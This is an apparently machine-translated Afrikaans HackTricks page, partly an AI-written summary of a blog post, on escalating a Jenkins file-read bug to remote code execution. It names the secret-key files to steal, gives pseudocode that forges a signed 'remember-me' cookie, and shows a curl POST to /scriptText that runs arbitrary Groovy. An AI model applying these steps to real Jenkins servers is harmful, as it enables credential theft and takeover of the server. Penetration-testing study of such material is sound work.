Jenkins Arbitrêre Lêer Lees na RCE via “Onthou My”
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
In hierdie blogpos is dit moontlik om ’n uitstekende manier te vind om ’n Local File Inclusion kwesbaarheid in Jenkins in RCE te transformeer: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/
Dit is ’n KI-gegenereerde opsomming van die deel van die pos waar die vervaardiging van ’n arbitrêre koekie misbruik word om RCE te verkry deur ’n plaaslike lêer te lees totdat ek tyd het om ’n opsomming op my eie te skep:
Aanval Voorvereistes
- Kenmerk Vereiste: “Onthou my” moet geaktiveer wees (standaardinstelling).
- Toegangsvlakke: Aanvaller benodig Algemene/Lees regte.
- Geheime Toegang: Vermoë om beide binêre en teksinhoud van sleutel lêers te lees.
Gedetailleerde Exploitasiestap
Stap 1: Gegevensinsameling
Gebruikersinligting Herwinning
- Toegang gebruikerskonfigurasie en geheime van
$JENKINS_HOME/users/*.xmlvir elke gebruiker om te versamel: - Gebruikersnaam
- Gebruiker saad
- Tydstempel
- Wagwoord hash
Geheime Sleutel Uittrekking
- Trek kriptografiese sleutels uit wat gebruik word om die koekie te teken:
- Geheime Sleutel:
$JENKINS_HOME/secret.key - Meester Sleutel:
$JENKINS_HOME/secrets/master.key - MAC Sleutel Lêer:
$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac
Stap 2: Koekie Valsifikasie
Token Voorbereiding
- Bereken Token Vervaldatum:
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Voeg een uur by die huidige tyd
- Konkateer Gegevens vir Token:
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
MAC Sleutel Ontsleuteling
- Ontsleutel MAC Sleutel Lêer:
key = toAes128Key(masterKey) // Convert meester sleutel na AES128 sleutel formaat
decrypted = AES.decrypt(macFile, key) // Ontsleutel die .mac lêer
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")
Handtekening Berekening
- Bereken HMAC SHA256:
mac = HmacSHA256(token, macKey) // Bereken HMAC met die token en MAC sleutel
tokenSignature = bytesToHexString(mac) // Convert die MAC na 'n hexadesimale string
Koekie Kodering
- Genereer Finale Koekie:
cookie = base64.encode(
username + ":" + tokenExpiryTime + ":" + tokenSignature
) // Base64 kodeer die koekie data
Stap 3: Kode Uitvoering
Sessie Verifikasie
- Haal CSRF en Sessie Tokens:
- Maak ’n versoek na
/crumbIssuer/api/jsonomJenkins-Crumbte verkry. - Vang
JSESSIONIDuit die antwoord, wat saam met die onthou-my koekie gebruik sal word.
Opdrag Uitvoeringsversoek
- Stuur ’n POST Versoek met Groovy Skrip:
curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
- Groovy skrip kan gebruik word om stelselniveau opdragte of ander operasies binne die Jenkins omgewing uit te voer.
Die voorbeeld curl-opdrag wat verskaf word demonstreer hoe om ’n versoek aan Jenkins te maak met die nodige koptekste en koekies om arbitrêre kode veilig uit te voer.
Tip
Leer & oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subscription plans!
- Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.
HackTricks Cloud

